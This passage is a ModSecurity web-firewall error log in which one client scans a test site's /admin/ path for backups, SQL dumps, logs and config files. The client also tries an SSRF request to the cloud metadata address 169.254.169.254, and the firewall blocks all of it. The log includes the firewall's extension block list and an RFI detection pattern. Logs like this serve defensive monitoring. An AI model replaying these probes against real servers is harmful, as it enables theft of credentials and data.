[Sun Jun 29 20:15:16.238865 2025] [:error] [pid 2967919] [client 185.177.72.107:22910] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/backup.sql&quot;] [unique_id &quot;aGGCtHtTxOj9v32ojom5zwAAAAE&quot;]
[Sun Jun 29 20:15:26.765538 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/config.php.bak&quot;] [unique_id &quot;aGGCvnN4YZunzJSJCzJ6OAAAAAY&quot;]
[Sun Jun 29 20:15:26.765948 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/config.php.bak&quot;] [unique_id &quot;aGGCvnN4YZunzJSJCzJ6OAAAAAY&quot;]
[Sun Jun 29 20:15:26.766124 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/config.php.bak&quot;] [unique_id &quot;aGGCvnN4YZunzJSJCzJ6OAAAAAY&quot;]
[Sun Jun 29 20:15:26.948180 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.sql&quot;] [unique_id &quot;aGGCvnN4YZunzJSJCzJ6PgAAAAY&quot;]
[Sun Jun 29 20:15:26.948537 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.sql&quot;] [unique_id &quot;aGGCvnN4YZunzJSJCzJ6PgAAAAY&quot;]
[Sun Jun 29 20:15:26.948736 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.sql&quot;] [unique_id &quot;aGGCvnN4YZunzJSJCzJ6PgAAAAY&quot;]
[Sun Jun 29 20:15:27.072201 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug.log&quot;] [unique_id &quot;aGGCv3N4YZunzJSJCzJ6QgAAAAY&quot;]
[Sun Jun 29 20:15:27.072551 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug.log&quot;] [unique_id &quot;aGGCv3N4YZunzJSJCzJ6QgAAAAY&quot;]
[Sun Jun 29 20:15:27.072730 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug.log&quot;] [unique_id &quot;aGGCv3N4YZunzJSJCzJ6QgAAAAY&quot;]
[Sun Jun 29 20:15:27.136292 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug&quot;] [unique_id &quot;aGGCv3N4YZunzJSJCzJ6RAAAAAY&quot;]
[Sun Jun 29 20:15:27.136702 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug&quot;] [unique_id &quot;aGGCv3N4YZunzJSJCzJ6RAAAAAY&quot;]
[Sun Jun 29 20:15:27.136907 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/debug&quot;] [unique_id &quot;aGGCv3N4YZunzJSJCzJ6RAAAAAY&quot;]
[Sun Jun 29 20:15:27.227842 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/dump.sql&quot;] [unique_id &quot;aGGCv3N4YZunzJSJCzJ6RQAAAAY&quot;]
[Sun Jun 29 20:15:27.228178 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/dump.sql&quot;] [unique_id &quot;aGGCv3N4YZunzJSJCzJ6RQAAAAY&quot;]
[Sun Jun 29 20:15:27.228366 2025] [:error] [pid 3059540] [client 185.177.72.107:57800] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/dump.sql&quot;] [unique_id &quot;aGGCv3N4YZunzJSJCzJ6RQAAAAY&quot;]
[Sun Jun 29 20:15:36.900395 2025] [:error] [pid 3205369] [client 185.177.72.107:38128] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/error.log&quot;] [unique_id &quot;aGGCyN8ZUWE-JFfvKe2U5QAAAAs&quot;]
[Sun Jun 29 20:15:36.900770 2025] [:error] [pid 3205369] [client 185.177.72.107:38128] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/error.log&quot;] [unique_id &quot;aGGCyN8ZUWE-JFfvKe2U5QAAAAs&quot;]
[Sun Jun 29 20:15:36.900966 2025] [:error] [pid 3205369] [client 185.177.72.107:38128] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/error.log&quot;] [unique_id &quot;aGGCyN8ZUWE-JFfvKe2U5QAAAAs&quot;]
[Sun Jun 29 20:15:37.171740 2025] [:error] [pid 3205369] [client 185.177.72.107:38128] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/logs/error.log&quot;] [unique_id &quot;aGGCyd8ZUWE-JFfvKe2U7QAAAAs&quot;]
[Sun Jun 29 20:15:37.172066 2025] [:error] [pid 3205369] [client 185.177.72.107:38128] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/logs/error.log&quot;] [unique_id &quot;aGGCyd8ZUWE-JFfvKe2U7QAAAAs&quot;]
[Sun Jun 29 20:15:37.172239 2025] [:error] [pid 3205369] [client 185.177.72.107:38128] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/logs/error.log&quot;] [unique_id &quot;aGGCyd8ZUWE-JFfvKe2U7QAAAAs&quot;]
[Sun Jun 29 20:15:37.457756 2025] [:error] [pid 3205369] [client 185.177.72.107:38128] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/site.conf&quot;] [unique_id &quot;aGGCyd8ZUWE-JFfvKe2U-AAAAAs&quot;]
[Sun Jun 29 20:15:37.458116 2025] [:error] [pid 3205369] [client 185.177.72.107:38128] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/site.conf&quot;] [unique_id &quot;aGGCyd8ZUWE-JFfvKe2U-AAAAAs&quot;]
[Sun Jun 29 20:15:37.458301 2025] [:error] [pid 3205369] [client 185.177.72.107:38128] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/site.conf&quot;] [unique_id &quot;aGGCyd8ZUWE-JFfvKe2U-AAAAAs&quot;]
[Sun Jun 29 20:15:37.480925 2025] [:error] [pid 3205369] [client 185.177.72.107:38128] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/site.sql&quot;] [unique_id &quot;aGGCyd8ZUWE-JFfvKe2U-QAAAAs&quot;]
[Sun Jun 29 20:15:37.481288 2025] [:error] [pid 3205369] [client 185.177.72.107:38128] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/site.sql&quot;] [unique_id &quot;aGGCyd8ZUWE-JFfvKe2U-QAAAAs&quot;]
[Sun Jun 29 20:15:37.481476 2025] [:error] [pid 3205369] [client 185.177.72.107:38128] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/site.sql&quot;] [unique_id &quot;aGGCyd8ZUWE-JFfvKe2U-QAAAAs&quot;]
[Sun Jun 29 20:15:51.955314 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname 